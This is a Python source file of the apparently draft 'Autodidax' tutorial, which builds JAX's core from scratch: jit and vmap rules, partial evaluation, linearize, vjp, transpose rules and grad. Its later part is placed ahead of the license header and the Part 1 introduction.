dims_in, *, jaxpr, num_consts): del num_consts # Unused. new_jaxpr, new_consts = vmap_jaxpr(jaxpr, axis_size, tuple(dims_in)) outs = bind(xla_call_p, *new_consts, *vals_in, jaxpr=new_jaxpr, num_consts=len(new_consts)) return outs, [0] * len(outs) vmap_rules[xla_call_p] = xla_call_vmap_rule @lru_cache() def vmap_jaxpr(jaxpr: Jaxpr, axis_size: int, bdims_in: Tuple[BatchAxis, ...] ) -> Tuple[Jaxpr, List[Any]]: vmap_traceable = vmap(jaxpr_as_fun(jaxpr), tuple(bdims_in)) in_avals = [unmapped_aval(axis_size, d, v.aval) for v, d in zip(jaxpr.in_binders, bdims_in)] new_jaxpr, new_consts, _ = make_jaxpr(vmap_traceable, *in_avals) return new_jaxpr, new_consts def unmapped_aval(axis_size: int, batch_dim: BatchAxis, aval: ShapedArray ) -> ShapedArray: if batch_dim is not_mapped: return aval else: shape = list(aval.shape) shape.insert(batch_dim, axis_size) return ShapedArray(tuple(shape), aval.dtype) # + def xla_call_abstract_eval_rule(*in_types, jaxpr, num_consts): del num_consts # Unused. jaxpr_type = typecheck_jaxpr(jaxpr) if not all(t1 == t2 for t1, t2 in zip(jaxpr_type.in_types, in_types)): raise TypeError return jaxpr_type.out_types abstract_eval_rules[xla_call_p] = xla_call_abstract_eval_rule def xla_call_translation(c, in_avals, in_vals, *, jaxpr, num_consts): del num_consts # Only used at top-level. # Calling jaxpr_subcomp directly would inline. We generate a Call HLO instead. subc = xb.make_computation_builder('inner xla_call') xla_params = _xla_params(subc, in_avals) outs = jaxpr_subcomp(subc, jaxpr, xla_params) subc = subc.build(xops.Tuple(subc, outs)) return destructure_tuple(c, xops.Call(c, subc, in_vals)) xla_translations[xla_call_p] = xla_call_translation def destructure_tuple(c, tup): num_elements = len(c.get_shape(tup).tuple_shapes()) return [xops.GetTupleElement(tup, i) for i in range(num_elements)] # + @jit def f(x): print('tracing!') y = sin(x) * 2. z = - y + x return z x, xdot = 3., 1. y, ydot = jvp(f, (x,), (xdot,)) print(y) print(ydot) # - y, ydot = jvp(f, (x,), (xdot,)) # 'tracing!' not printed ys = vmap(f, (0,))(np.arange(3.)) print(ys) # One piece missing is device memory persistence for arrays. That is, we've # defined `handle_result` to transfer results back to CPU memory as NumPy # arrays, but it's often preferable to avoid transferring results just to # transfer them back for the next operation. We can do that by introducing a # `DeviceArray` class, which can wrap XLA buffers and otherwise duck-type # `numpy.ndarray`s: # + def handle_result(aval: ShapedArray, buf): # noqa: F811 return DeviceArray(aval, buf) class DeviceArray: buf: Any aval: ShapedArray def __init__(self, aval, buf): self.aval = aval self.buf = buf dtype = property(lambda self: self.aval.dtype) shape = property(lambda self: self.aval.shape) ndim = property(lambda self: self.aval.ndim) def __array__(self): return self.buf.to_py() def __repr__(self): return repr(self.buf.to_py()) def __str__(self): return str(self.buf.to_py()) _neg = staticmethod(neg) _add = staticmethod(add) _radd = staticmethod(add) _mul = staticmethod(mul) _rmul = staticmethod(mul) _gt = staticmethod(greater) input_handlers[DeviceArray] = lambda x: x.buf jax_types.add(DeviceArray) # + @jit def f(x): y = sin(x) * 2. z = - y + x return z x, xdot = 3., 1. y, ydot = jvp(f, (x,), (xdot,)) print(y) print(ydot) # - # ## Part 4: `linearize` and `vjp` (and `grad`!) # # The `linearize` and `vjp` autodiff functions are built on `jvp`, but involve # jaxprs as well. That's because both involve staging out, or delaying, # computation. # ### `linearize` # # In the case of `linearize`, we want to stage out the linear part of a `jvp` # computation. That is, if we have `jvp : (a -> b) -> (a, T a) -> (b, T b)`, # then we write `linearize : (a -> b) -> a -> (b, T a -o T b)`, using `T a` to # mean "the tangent type of `a`" and using the "lollipop" `-o` rather than the # arrow `->` to indicate a _linear_ function. We define the semantics of # `linearize` in terms of `jvp` too: # ```python # y, f_lin = linearize(f, x) # y_dot = f_lin(x_dot) # ``` # gives the same result for `(y, y_dot)` as # ``` # y, y_dot = jvp(f, (x,), (x_dot,)) # ``` # where the application of `f_lin` does not redo any of the linearization work. # We'll represent the delayed linear part `f_lin : T a -o T b` as a jaxpr. # # To build the `f_lin` jaxpr from a JVP, we need to perform partial evaluation: # we evaluate all the primal values as we trace, but stage the tangent # computations into a jaxpr. This is our second way to build jaxprs. But where # `make_jaxpr` and its underlying `JaxprTrace`/`JaxprTracer` interpreters aim # to stage out every primitive bind, this second approach stages out only those # primitive binds with a data dependence on tangent inputs. # # First, some utilities: # + def split_list(lst: List[Any], n: int) -> Tuple[List[Any], List[Any]]: return lst[:n], lst[n:] def split_half(lst: List[Any]) -> Tuple[List[Any], List[Any]]: assert not len(lst) % 2 return split_list(lst, len(lst) // 2) def partition_list(bs: List[bool], l: List[Any]) -> Tuple[List[Any], List[Any]]: lists = lst1, lst2 = [], [] for b, x in zip(bs, l): lists[b].append(x) return lst1, lst2 # - # Next, we'll write `linearize` by combining `jvp` together with a general # partial evaluation transformation, to be added next: # + def linearize_flat(f, *primals_in): pvals_in = ([PartialVal.known(x) for x in primals_in] + [PartialVal.unknown(vspace(get_aval(x))) for x in primals_in]) def f_jvp(*primals_tangents_in): primals_out, tangents_out = jvp(f, *split_half(primals_tangents_in)) return [*primals_out, *tangents_out] jaxpr, pvals_out, consts = partial_eval_flat(f_jvp, pvals_in) primal_pvals, _ = split_half(pvals_out) assert all(pval.is_known for pval in primal_pvals) primals_out = [pval.const for pval in primal_pvals] f_lin = lambda *tangents: eval_jaxpr(jaxpr, [*consts, *tangents]) return primals_out, f_lin def linearize(f, *primals_in): primals_in_flat, in_tree = tree_flatten(primals_in) f, out_tree = flatten_fun(f, in_tree) primals_out_flat, f_lin_flat = linearize_flat(f, *primals_in_flat) primals_out = tree_unflatten(out_tree(), primals_out_flat) def f_lin(*tangents_in): tangents_in_flat, in_tree2 = tree_flatten(tangents_in) if in_tree != in_tree2: raise TypeError tangents_out_flat = f_lin_flat(*tangents_in_flat) return tree_unflatten(out_tree(), tangents_out_flat) return primals_out, f_lin def vspace(aval: ShapedArray) -> ShapedArray: return raise_to_shaped(aval) # TODO handle integers? # - # Now we turn to the general partial evaluation transformation. The goal is to # accept a Python callable and a list of inputs, some known and some unknown, # and to produce (1) all the outputs which can be computed from the known # inputs, together with (2) a jaxpr representing the part of the Python # callable's computation which can only be performed after the remaining inputs # are known. # # This transformation can't be summarized purely in a type signature because its # behavior relies on the data dependencies inside the given Python callable and # not just its type. Nevertheless a heuristic type signature is useful. If we # assume the input function's type signature is `(a1, a2) -> (b1, b2)`, where # `a1` and `a2` represent the known and unknown inputs, respectively, and where # `b1` only has a data dependency on `a1` while `b2` has some data dependency on # `a2`, then we might write # # ``` # partial_eval : ((a1, a2) -> (b1, b2)) -> a1 -> (b1, res, (res, a2) -> b2) # ``` # # In words, given values for the inputs of type `a1`, `partial_eval` produces # the outputs of type `b1` along with "residual" values of type `res` # representing the intermediates required to complete the computation in the # second stage. It also produces a function of type `(res, a2) -> b2` which # accepts the residual values as well as the remaining inputs and produces the # remaining outputs. # # We like to think of partial evaluation as "unzipping" one computation into # two. For example, consider this jaxpr: # ``` # { lambda a:float64[] . # let b:float64[] = sin a # c:float64[] = neg b # in ( c ) } # ``` # A jaxpr for the JVP would look like: # ``` # { lambda a:float64[] b:float64 . # let c:float64[] = sin a # d:float64[] = cos a # e:float64[] = mul d b # f:float64[] = neg c # g:float64[] = neg e # in ( f, g ) } # ``` # If we imagine applying partial evaluation to this jaxpr with the first input # known and the second unknown, we end up 'unzipping' the JVP jaxpr into primal # and tangent jaxprs: # ``` # { lambda a:float64[] . # let c:float64[] = sin a # d:float64[] = cos a # f:float64[] = neg c # in ( f, d ) } # ``` # ``` # { lambda d:float64[] b:float64[] . # let e:float64[] = mul d b # g:float64[] = neg e # in ( g ) } # ``` # This second jaxpr is represents the linear computation that we want from # `linearize`. # # However, unlike in this jaxpr example, we want the computation on known values # to occur while evaluating the input Python callable. That is, rather than # forming a jaxpr for the entire function `(a1, a2) -> (b1, b2)`, staging all # operations out of Python first before sorting out what can be evaluated now # and what must be delayed, we want only to form a jaxpr for those operations # that _must_ be delayed due to a dependence on unknown inputs. In the context # of automatic differentiation, this is the feature ultimately enables us to # handle functions like `grad(lambda x: x**2 if x > 0 else 0.)`. Python control # flow works because partial evaluation keeps the primal computation in Python. # As a consequence, our `Trace` and `Tracer` subclasses must on the fly sort out # what can be evaluated and what must be staged out into a jaxpr. # # First, we start with a `PartialVal` class, which represents a value that can # be either known or unknown: class PartialVal(NamedTuple): aval: ShapedArray const: Optional[Any] @classmethod def known(cls, val: Any): return PartialVal(get_aval(val), val) @classmethod def unknown(cls, aval: ShapedArray): return PartialVal(aval, None) is_known = property(lambda self: self.const is not None) is_unknown = property(lambda self: self.const is None) # Partial evaluation will take a list of `PartialVal`s representing inputs, and # return a list of `PartialVal` outputs along with a jaxpr representing the # delayed computation: def partial_eval_flat(f, pvals_in: List[PartialVal]): with new_main(PartialEvalTrace) as main: trace = PartialEvalTrace(main) tracers_in = [trace.new_arg(pval) for pval in pvals_in] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] jaxpr, consts = tracers_to_jaxpr(tracers_in, tracers_out) pvals_out = [t.pval for t in tracers_out] return jaxpr, pvals_out, consts # Next we need to implement `PartialEvalTrace` and its `PartialEvalTracer`. This # interpreter will build a jaxpr on the fly while tracking data dependencies. To # do so, it builds a bipartite directed acyclic graph (DAG) between # `PartialEvalTracer` nodes, representing staged-out values, and `JaxprRecipe` # nodes, representing formulas for how to compute some values from others. One # kind of recipe is a `JaxprEqnRecipe`, corresponding to a `JaxprEqn`'s primitive # application, but we also have recipe types for constants and lambda binders: # + from weakref import ref, ReferenceType class LambdaBindingRecipe(NamedTuple): pass class ConstRecipe(NamedTuple): val: Any class JaxprEqnRecipe: prim: Primitive tracers_in: List['PartialEvalTracer'] params: Dict[str, Any] avals_out: List[ShapedArray] tracer_refs_out: List['ReferenceType[PartialEvalTracer]'] def __init__(self, prim, tracers_in, params, avals_out, tracer_refs_out): self.prim = prim self.tracers_in = tracers_in self.params = params self.avals_out = avals_out self.tracer_refs_out = tracer_refs_out JaxprRecipe = Union[LambdaBindingRecipe, ConstRecipe, JaxprEqnRecipe] # - class PartialEvalTracer(Tracer): pval: PartialVal recipe: JaxprRecipe def __init__(self, trace, pval, recipe): self._trace = trace self.pval = pval self.recipe = recipe @property def aval(self): return self.pval.aval def full_lower(self): if self.pval.is_known: return full_lower(self.pval.const) return self # The `PartialEvalTrace` contains the logic for constructing the graph of # `JaxprRecipe`s and `PartialEvalTracer`s. Each argument corresponds to a # `LambdaBindingRecipe` leaf node, and each constant is a `ConstRecipe` leaf # node holding a reference to the constant. All other tracers and recipes come # from `process_primitive`, which forms tracers with `JaxprEqnRecipe`s. # # For most primitives, the `process_primitive` logic is straightforward: if all # inputs are known then we can bind the primitive on the known values # (evaluating it in Python) and avoid forming tracers corresponding to the # output. If instead any input is unknown then we instead stage out into a # `JaxprEqnRecipe` representing the primitive application. To build the tracers # representing unknown outputs, we need avals, which get from the abstract eval # rules. (Notice that tracers reference `JaxprEqnRecipe`s, and `JaxprEqnRecipe`s # reference tracers; we avoid circular garbage by using weakrefs.) # # That `process_primitive` logic applies to most primitives, but `xla_call_p` # requires recursive treatment. So we special-case its rule in a # `partial_eval_rules` dict. # + class PartialEvalTrace(Trace): def new_arg(self, pval: PartialVal) -> Any: return PartialEvalTracer(self, pval, LambdaBindingRecipe()) def lift(self, val: Any) -> PartialEvalTracer: return PartialEvalTracer(self, PartialVal.known(val), None) pure = lift def instantiate_const(self, tracer: PartialEvalTracer) -> PartialEvalTracer: if tracer.pval.is_unknown: return tracer else: pval = PartialVal.unknown(raise_to_shaped(tracer.aval)) return PartialEvalTracer(self, pval, ConstRecipe(tracer.pval.const)) def process_primitive(self, primitive, tracers, params): if all(t.pval.is_known for t in tracers): return bind(primitive, *map(full_lower, tracers), **params) rule = partial_eval_rules.get(primitive) if rule: return rule(self, tracers, **params) tracers_in = [self.instantiate_const(t) for t in tracers] avals_in = [t.aval for t in tracers_in] avals_out = abstract_eval_rules[primitive](*avals_in, **params) tracers_out = [PartialEvalTracer(self, PartialVal.unknown(aval), None) for aval in avals_out] eqn = JaxprEqnRecipe(primitive, tracers_in, params, avals_out, map(ref, tracers_out)) for t in tracers_out: t.recipe = eqn return tracers_out partial_eval_rules = {} # - # Now that we can build graph representations of jaxprs with `PartialEvalTrace`, # we need a mechanism to convert the graph representation to a standard jaxpr. # The jaxpr corresponds to a topological sort of the graph. # + def tracers_to_jaxpr(tracers_in: List[PartialEvalTracer], tracers_out: List[PartialEvalTracer]): tracers_in = [t for t in tracers_in if t.pval.is_unknown] tracers_out = [t for t in tracers_out if t.pval.is_unknown] tracer_to_var = {id(t): Var(raise_to_shaped(t.aval)) for t in tracers_in} constvar_to_val = {} constid_to_var = {} processed_eqns = set() eqns = [] for t in toposort(tracers_out, tracer_parents): if isinstance(t.recipe, LambdaBindingRecipe): assert id(t) in set(map(id, tracers_in)) elif isinstance(t.recipe, ConstRecipe): val = t.recipe.val var = constid_to_var.get(id(val)) if var is None: aval = raise_to_shaped(get_aval(val)) var = tracer_to_var[id(t)] = constid_to_var[id(val)] = Var(aval) constvar_to_val[var] = val elif isinstance(t.recipe, JaxprEqnRecipe): if id(t.recipe) not in processed_eqns: eqns.append(recipe_to_eqn(tracer_to_var, t.recipe)) processed_eqns.add(id(t.recipe)) else: raise TypeError(t.recipe) constvars, constvals = unzip2(constvar_to_val.items()) in_binders = constvars + [tracer_to_var[id(t)] for t in tracers_in] out_vars = [tracer_to_var[id(t)] for t in tracers_out] jaxpr = Jaxpr(in_binders, eqns, out_vars) typecheck_jaxpr(jaxpr) return jaxpr, constvals def recipe_to_eqn(tracer_to_var: Dict[int, Var], recipe: JaxprEqnRecipe ) -> JaxprEqn: inputs = [tracer_to_var[id(t)] for t in recipe.tracers_in] out_binders = [Var(aval) for aval in recipe.avals_out] for t_ref, var in zip(recipe.tracer_refs_out, out_binders): if t_ref() is not None: tracer_to_var[id(t_ref())] = var return JaxprEqn(recipe.prim, inputs, recipe.params, out_binders) def tracer_parents(t: PartialEvalTracer) -> List[PartialEvalTracer]: return t.recipe.tracers_in if isinstance(t.recipe, JaxprEqnRecipe) else [] # + def toposort(out_nodes: List[Any], parents: Callable[[Any], List[Any]]): if not out_nodes: return [] out_nodes = remove_duplicates(out_nodes) child_counts = {} stack = list(out_nodes) while stack: node = stack.pop() if id(node) in child_counts: child_counts[id(node)] += 1 else: child_counts[id(node)] = 1 stack.extend(parents(node)) for node in out_nodes: child_counts[id(node)] -= 1 sorted_nodes = [] childless_nodes = [node for node in out_nodes if not child_counts[id(node)]] while childless_nodes: node = childless_nodes.pop() sorted_nodes.append(node) for parent in parents(node): if child_counts[id(parent)] == 1: childless_nodes.append(parent) else: child_counts[id(parent)] -= 1 sorted_nodes = sorted_nodes[::-1] check_toposort(sorted_nodes, parents) return sorted_nodes def remove_duplicates(lst): seen = set() return [x for x in lst if id(x) not in seen and not seen.add(id(x))] def check_toposort(nodes: List[Any], parents: Callable[[Any], List[Any]]): seen = set() for node in nodes: assert all(id(parent) in seen for parent in parents(node)) seen.add(id(node)) # - # Now we can linearize! y, sin_lin = linearize(sin, 3.) print(y, sin(3.)) print(sin_lin(1.), cos(3.)) # To handle `linearize`-of-`jit`, we still need to write a partial evaluation # rule for `xla_call_p`. Other than tracer bookkeeping, the main task is to # perform partial evaluation of a jaxpr, 'unzipping' it into two jaxprs. # + def xla_call_partial_eval(trace, tracers, *, jaxpr, num_consts): del num_consts # Unused. in_unknowns = [not t.pval.is_known for t in tracers] jaxpr1, jaxpr2, out_unknowns, num_res = partial_eval_jaxpr(jaxpr, in_unknowns) known_tracers, unknown_tracers = partition_list(in_unknowns, tracers) known_vals = [t.pval.const for t in known_tracers] outs1_res = bind(xla_call_p, *known_vals, jaxpr=jaxpr1, num_consts=0) outs1, res = split_list(outs1_res, len(jaxpr1.outs) - num_res) res_tracers = [trace.instantiate_const(full_raise(trace, x)) for x in res] outs2 = [PartialEvalTracer(trace, PartialVal.unknown(v.aval), None) for v in jaxpr2.outs] eqn = JaxprEqnRecipe(xla_call_p, res_tracers + unknown_tracers, dict(jaxpr=jaxpr2, num_consts=0), [v.aval for v in jaxpr2.outs], map(ref, outs2)) for t in outs2: t.recipe = eqn outs1, outs2 = iter(outs1), iter(outs2) return [next(outs2) if uk else next(outs1) for uk in out_unknowns] partial_eval_rules[xla_call_p] = xla_call_partial_eval def partial_eval_jaxpr(jaxpr: Jaxpr, in_unknowns: List[bool] ) -> Tuple[Jaxpr, Jaxpr, List[bool], int]: env: Dict[Var, bool] = {} residuals = set() def read(v: Atom) -> bool: if type(v) is Lit: raise NotImplementedError return env[v] def write(unk: bool, v: Var) -> None: env[v] = unk def new_res(v: Var) -> Var: return residuals.add(v) or v eqns1, eqns2 = [], [] map(write, in_unknowns, jaxpr.in_binders) for eqn in jaxpr.eqns: unks_in = map(read, eqn.inputs) rule = partial_eval_jaxpr_rules.get(eqn.primitive) if rule: eqn1, eqn2, unks_out, res = rule(unks_in, eqn) eqns1.append(eqn1); eqns2.append(eqn2); residuals.update(res) map(write, unks_out, eqn.out_binders) elif any(unks_in): inputs = [v if unk else new_res(v) for unk, v in zip(unks_in, eqn.inputs)] eqns2.append(JaxprEqn(eqn.primitive, inputs, eqn.params, eqn.out_binders)) map(partial(write, True), eqn.out_binders) else: eqns1.append(eqn) map(partial(write, False), eqn.out_binders) out_unknowns = map(read, jaxpr.outs) residuals, num_res = list(residuals), len(residuals) ins1, ins2 = partition_list(in_unknowns, jaxpr.in_binders) outs1, outs2 = partition_list(out_unknowns, jaxpr.outs) jaxpr1 = Jaxpr(ins1, eqns1, outs1 + residuals) jaxpr2 = Jaxpr(residuals + ins2, eqns2, outs2) typecheck_partial_eval_jaxpr(jaxpr, in_unknowns, out_unknowns, jaxpr1, jaxpr2) return jaxpr1, jaxpr2, out_unknowns, num_res def typecheck_partial_eval_jaxpr(jaxpr, unks_in, unks_out, jaxpr1, jaxpr2): jaxprty = typecheck_jaxpr(jaxpr) # (a1, a2) -> (b1, b2 ) jaxpr1ty = typecheck_jaxpr(jaxpr1) # a1 -> (b1, res) jaxpr2ty = typecheck_jaxpr(jaxpr2) # (res, a2) -> b2 a1, a2 = partition_list(unks_in, jaxprty.in_types) b1, b2 = partition_list(unks_out, jaxprty.out_types) b1_, res = split_list(jaxpr1ty.out_types, len(b1)) res_, a2_ = split_list(jaxpr2ty.in_types, len(res)) b2_ = jaxpr2ty.out_types if jaxpr1ty.in_types != a1: raise TypeError if jaxpr2ty.out_types != b2: raise TypeError if b1 != b1_: raise TypeError if res != res_: raise TypeError if a2 != a2_: raise TypeError if b2 != b2_: raise TypeError partial_eval_jaxpr_rules = {} def xla_call_peval_eqn(unks_in: List[bool], eqn: JaxprEqn ) -> Tuple[JaxprEqn, JaxprEqn, List[bool], List[Atom]]: jaxpr = eqn.params['jaxpr'] jaxpr1, jaxpr2, unks_out, num_res = partial_eval_jaxpr(jaxpr, unks_in) ins1, ins2 = partition_list(unks_in, eqn.inputs) outs1, outs2 = partition_list(unks_out, eqn.out_binders) residuals, _ = split_list(jaxpr2.in_binders, num_res) eqn1 = JaxprEqn(xla_call_p, ins1, dict(jaxpr=jaxpr1, num_consts=0), outs1 + residuals) eqn2 = JaxprEqn(xla_call_p, residuals + ins2, dict(jaxpr=jaxpr2, num_consts=0), outs2) return eqn1, eqn2, unks_out, residuals partial_eval_jaxpr_rules[xla_call_p] = xla_call_peval_eqn # - # With that, we can compose `linearize` and `jit` however we like: # + @jit def f(x): y = sin(x) * 2. z = - y + x return z y, f_lin = linearize(f, 3.) y_dot = f_lin(1.) print(y, y_dot) # + @jit def f(x): y = sin(x) * 2. z = g(x, y) return z @jit def g(x, y): return cos(x) + y y, f_lin = linearize(f, 3.) y_dot = f_lin(1.) print(y, y_dot) # - # ### `vjp` and `grad` # # The `vjp` transformation works a lot like linearize. Its type signature is # analogous: # # ``` # linearize : (a -> b) -> a -> (b, T a -o T b) # vjp : (a -> b) -> a -> (b, T b -o T a) # ``` # # The only difference is that we transpose the linear part of the computation # before returning it, so that it goes from type `T a -o T b` to type `T b -o T # a`. That is, we'll implement `vjp` as, essentially, # # ``` # def vjp(f, x): # y, f_lin = linearize(f, x) # f_vjp = lambda y_bar: transpose(f_lin)(y_bar) # return y, f_vjp # ``` # # Since we have the linear computation as a jaxpr, not just a Python callable, # we can implement the transpose transformation as a jaxpr interpreter. # + def vjp_flat(f, *primals_in): pvals_in = ([PartialVal.known(x) for x in primals_in] + [PartialVal.unknown(vspace(get_aval(x))) for x in primals_in]) primal_pvals_in, tangent_pvals_in = split_half(pvals_in) def f_jvp(*primals_tangents_in): primals_out, tangents_out = jvp(f, *split_half(primals_tangents_in)) return [*primals_out, *tangents_out] jaxpr, pvals_out, consts = partial_eval_flat(f_jvp, pvals_in) # linearize primal_pvals, _ = split_half(pvals_out) assert all(pval.is_known for pval in primal_pvals) primals_out = [pval.const for pval in primal_pvals] transpose_inputs = consts + [UndefPrimal(p.aval) for p in tangent_pvals_in] f_vjp = lambda *cts: eval_jaxpr_transposed(jaxpr, transpose_inputs, cts) return primals_out, f_vjp def vjp(f, *primals_in): primals_in_flat, in_tree = tree_flatten(primals_in) f, out_tree = flatten_fun(f, in_tree) primals_out_flat, f_vjp_flat = vjp_flat(f, *primals_in_flat) primals_out = tree_unflatten(out_tree(), primals_out_flat) def f_vjp(*cotangents_out): cotangents_out_flat, _ = tree_flatten(cotangents_out) cotangents_in_flat = f_vjp_flat(*cotangents_out_flat) return tree_unflatten(in_tree, cotangents_in_flat) return primals_out, f_vjp class UndefPrimal(NamedTuple): aval: ShapedArray register_pytree_node(UndefPrimal, lambda u: (u.aval, ()), lambda aval, _: UndefPrimal(aval)) # - # We use `UndefPrimal` instances to indicate which arguments with respect to # with we want to transpose. These arise because in general, being explicit # about closed-over values, we want to transpose functions of type # `a -> b -o c` to functions of type `a -> c -o b`. Even more generally, the # inputs with respect to which the function is linear could be scattered through # the argument list. So we indicate the linear positions using `UndefPrimal`. # We register `UndefPrimal` as a pytree node because the pytree mechanism gives # a handy way to prune these placeholders out of argument lists. # # Next, we can write `eval_jaxpr_transposed`, along with transpose rules for # all primitives which can be linear in at least one argument: # + # NB: the analogous function in JAX is called 'backward_pass' def eval_jaxpr_transposed(jaxpr: Jaxpr, args: List[Any], cotangents: List[Any] ) -> List[Any]: primal_env: Dict[Var, Any] = {} ct_env: Dict[Var, Any] = {} def read_primal(x: Atom) -> Any: return primal_env.get(x, UndefPrimal(x.aval)) if type(x) is Var else x.val def write_primal(v: Var, val: Any) -> None: if type(val) is not UndefPrimal: primal_env[v] = val def read_cotangent(v: Var) -> Any: return ct_env.pop(v, np.zeros(v.aval.shape, v.aval.dtype)) def write_cotangent(x: Atom, val: Any): if type(x) is Var and val is not None: ct_env[x] = add(ct_env[x], val) if x in ct_env else val map(write_primal, jaxpr.in_binders, args) map(write_cotangent, jaxpr.outs, cotangents) for eqn in jaxpr.eqns[::-1]: primals_in = map(read_primal, eqn.inputs) cts_in = map(read_cotangent, eqn.out_binders) rule = transpose_rules[eqn.primitive] cts_out = rule(cts_in, *primals_in, **eqn.params) map(write_cotangent, eqn.inputs, cts_out) return [read_cotangent(v) for v, x in zip(jaxpr.in_binders, args) if type(x) is UndefPrimal] transpose_rules = {} # + def mul_transpose_rule(cts, x, y): z_bar, = cts assert (type(x) is UndefPrimal) ^ (type(y) is UndefPrimal) return [mul(z_bar, y), None] if type(x) is UndefPrimal else [None, mul(x, z_bar)] transpose_rules[mul_p] = mul_transpose_rule def neg_transpose_rule(cts, x): ybar, = cts assert type(x) is UndefPrimal return [neg(ybar)] transpose_rules[neg_p] = neg_transpose_rule def add_transpose_rule(cts, x, y): z_bar, = cts return [z_bar, z_bar] transpose_rules[add_p] = add_transpose_rule def xla_call_transpose_rule(cts, *invals, jaxpr, num_consts): del num_consts # Unused. undef_primals = [type(x) is UndefPrimal for x in invals] transposed_jaxpr, new_consts = transpose_jaxpr(jaxpr, tuple(undef_primals)) residuals, _ = partition_list(undef_primals, invals) outs = bind(xla_call_p, *new_consts, *residuals, *cts, jaxpr=transposed_jaxpr, num_consts=len(new_consts)) outs = iter(outs) return [next(outs) if undef else None for undef in undef_primals] transpose_rules[xla_call_p] = xla_call_transpose_rule @lru_cache() def transpose_jaxpr(jaxpr: Jaxpr, undef_primals: Tuple[bool, ...] ) -> Tuple[Jaxpr, List[Any]]: traceable = partial(eval_jaxpr_transposed, jaxpr) avals_in, avals_out = typecheck_jaxpr(jaxpr) args = [UndefPrimal(a) if u else a for a, u in zip(avals_in, undef_primals)] trans_jaxpr, consts, _ = make_jaxpr(traceable, tuple(args), tuple(avals_out)) return trans_jaxpr, consts # - # Now that we can linearize and transpose, we can finally write `grad`: def grad(f): def gradfun(x, *xs): y, f_vjp = vjp(f, x, *xs) if np.shape(y) != (): raise TypeError x_bar, *_ = f_vjp(np.ones(np.shape(y), np.result_type(y))) return x_bar return gradfun y, f_vjp = vjp(sin, 3.) print(f_vjp(1.), cos(3.)) # + def f(x): y = sin(x) * 2. z = - y + x return z print(grad(f)(3.)) # + @jit def f(x): y = x * 2. z = g(y) return z @jit def g(x): return cos(x) * 2. print(grad(f)(3.)) # - # Here's something of a compositionality stress test: # + # from core_test.py fun_with_nested_calls_2 def foo(x): @jit def bar(y): def baz(w): q = jit(lambda x: y)(x) q = q + jit(lambda: y)() q = q + jit(lambda y: w + y)(y) q = jit(lambda w: jit(sin)(x) * y)(1.0) + q return q p, t = jvp(baz, (x + 1.0,), (y,)) return t + (x * p) return bar(x) def assert_allclose(*vals): for v1, v2 in zip(vals[:-1], vals[1:]): np.testing.assert_allclose(v1, v2) ans1 = f(3.) ans2 = jit(f)(3.) ans3, _ = jvp(f, (3.,), (5.,)) ans4, _ = jvp(jit(f), (3.,), (5.,)) assert_allclose(ans1, ans2, ans3, ans4) deriv1 = grad(f)(3.) deriv2 = grad(jit(f))(3.) deriv3 = jit(grad(jit(f)))(3.) _, deriv4 = jvp(f, (3.,), (1.,)) _, deriv5 = jvp(jit(f), (3.,), (1.,)) assert_allclose(deriv1, deriv2, deriv3, deriv4, deriv5) hess1 = grad(grad(f))(3.) hess2 = grad(grad(jit(f)))(3.) hess3 = grad(jit(grad(f)))(3.) hess4 = jit(grad(grad(f)))(3.) _, hess5 = jvp(grad(f), (3.,), (1.,)) _, hess6 = jvp(jit(grad(f)), (3.,), (1.,)) _, hess7 = jvp(jit(grad(f)), (3.,), (1.,)) assert_allclose(hess1, hess2, hess3, hess4, hess5, hess6, hess7)
# --- # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # jupyter: # jupytext: # formats: ipynb,md:myst,py # text_representation: # extension: .py # format_name: light # format_version: '1.5' # jupytext_version: 1.10.0 # kernelspec: # display_name: Python 3 # name: python3 # --- # [![Open in # Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/google/jax/blob/master/docs/autodidax.ipynb) # # Autodidax: JAX core from scratch # # Ever want to learn how JAX works, but the implementation seemed impenetrable? # Well, you're in luck! By reading this tutorial, you'll learn every big idea in # JAX's core system. You'll even get clued into our weird jargon! # # **This is a work-in-progress draft.** There are some important ingredients # missing, still to come in parts 5 and 6 (and more?). There are also some # simplifications here that we haven't yet applied to the main system, but we # will. # ## Part 1: Transformations as interpreters: standard evaluation, `jvp`, and `vmap` # # We want to transform functions that look like this: # # ```python # def f(x): # y = sin(x) * 2. # z = - y + x # return z # ``` # # Think of functions like `sin` and the arithmetic operations underlying the # infix operators (`mul`, `add`, and `neg`) as primitive operations, meaning # atomic units of processing rather than compositions. # # "Transform" means "interpret differently." Instead of standard interpretation # where we apply primitive operations to numerical inputs to produce numerical # outputs, we want to override primitive application and let different values # flow through our program. For example, we might want to replace the # application of every primitive with an application of [its JVP # rule](https://jax.readthedocs.io/en/latest/notebooks/autodiff_cookbook.html), # and let primal-tangent pairs flow through our program. Moreover, we want to be # able to compose multiple transformations, leading to stacks of interpreters. # ### JAX core machinery # # We can implement stacks of interpreters and even have them all discharge on # the fly as we execute the Python function to be transformed. To start, let's # define these primitives so that we can intercept their application: # + from typing import NamedTuple class Primitive(NamedTuple): name: str add_p = Primitive('add') mul_p = Primitive('mul') neg_p = Primitive("neg") sin_p = Primitive("sin") cos_p = Primitive("cos") reduce_sum_p = Primitive("reduce_sum") greater_p = Primitive("greater") transpose_p = Primitive("transpose") broadcast_p = Primitive("broadcast") def add(x, y): return bind1(add_p, x, y) def mul(x, y): return bind1(mul_p, x, y) def neg(x): return bind1(neg_p, x) def sin(x): return bind1(sin_p, x) def cos(x): return bind1(cos_p, x) def reduce_sum(x, axis=None): return bind1(reduce_sum_p, x, axis=axis) def greater(x, y): return bind1(greater_p, x, y) def transpose(x, perm): return bind1(transpose_p, perm=perm) def broadcast(x, shape, axes): return bind1(broadcast_p, x, shape=shape, axes=axes) def bind1(prim, *args, **params): out, = bind(prim, *args, **params) return out # - # We'll set up array data types and infix operator methods in a moment. # # A `Primitive` is just an object with a name, to which we attach our # interpretation rules (one for each transformation). The `bind` function is our # interception point: it'll figure out which transformation rule to apply, based # on how the arguments are boxed in tracers and what interpreters are active. # # The functions that user code calls, like `add` and `sin`, are just wrappers # around calls to `bind`. These wrappers let us control how arguments are passed # to `bind`, and in particular we follow a 